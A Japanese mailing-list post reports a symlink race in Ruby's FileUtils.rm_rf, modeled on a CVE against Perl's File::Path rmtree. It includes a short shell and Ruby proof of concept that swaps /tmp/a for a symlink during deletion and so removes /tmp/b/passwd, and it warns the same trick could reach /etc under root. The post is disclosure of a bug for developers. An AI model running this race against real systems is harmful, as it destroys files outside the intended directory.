ふと、CVE で perl 関係のを見ていたら、File::Path の rmtree に関するも
のが目を引きました。
http://www.cve.mitre.org/cgi-bin/cvekey.cgi?keyword=rmtree

なんとなく、fileutils にも似通った問題があるのではないだろうかと思って、
試してみると、やはりあるようです。

% cd /tmp       
% rm -rf a a- b
% ruby -e 'Dir.mkdir("a"); 20000.times {|i| open("a/#{i}", "w") {} }; open("a/passwd", "w") {}'
% ruby -e 'Dir.mkdir("b"); open("b/passwd", "w") {}'
% ls b
passwd
% ruby -rfileutils -e 'FileUtils.rm_rf("/tmp/a")' & sleep 0.1; mv a a- && ln -s b a
[1] 1449
% /home/akr/ruby/lib/ruby/1.9/fileutils.rb:735:in `rmdir': Not a directory - /tmp/a (Errno::ENOTDIR)
        from /home/akr/ruby/lib/ruby/1.9/fileutils.rb:735:in `remove_dir'
        from /home/akr/ruby/lib/ruby/1.9/fileutils.rb:684:in `rm_r'
        from /home/akr/ruby/lib/ruby/1.9/fileutils.rb:676:in `each'
        from /home/akr/ruby/lib/ruby/1.9/fileutils.rb:676:in `rm_r'
        from /home/akr/ruby/lib/ruby/1.9/fileutils.rb:700:in `rm_rf'
        from -e:1

[1]  + exit 1     ruby -rfileutils -e 'FileUtils.rm_rf("/tmp/a")'
% ls b
% 

上記の例では、FileUtils.rm_rf("/tmp/a") が /tmp/b/passwd を削除してし
まっています。

例えば、仮に root 権限で /tmp を FileUtils.rm_rf("/tmp/a") などと掃除
していて、すりかわるのが /tmp/b じゃなくて /etc だったら、などという状
況を考えると、なかなか危ないんじゃないかと思います。
-- 
[田中 哲][たなか あきら][Tanaka Akira]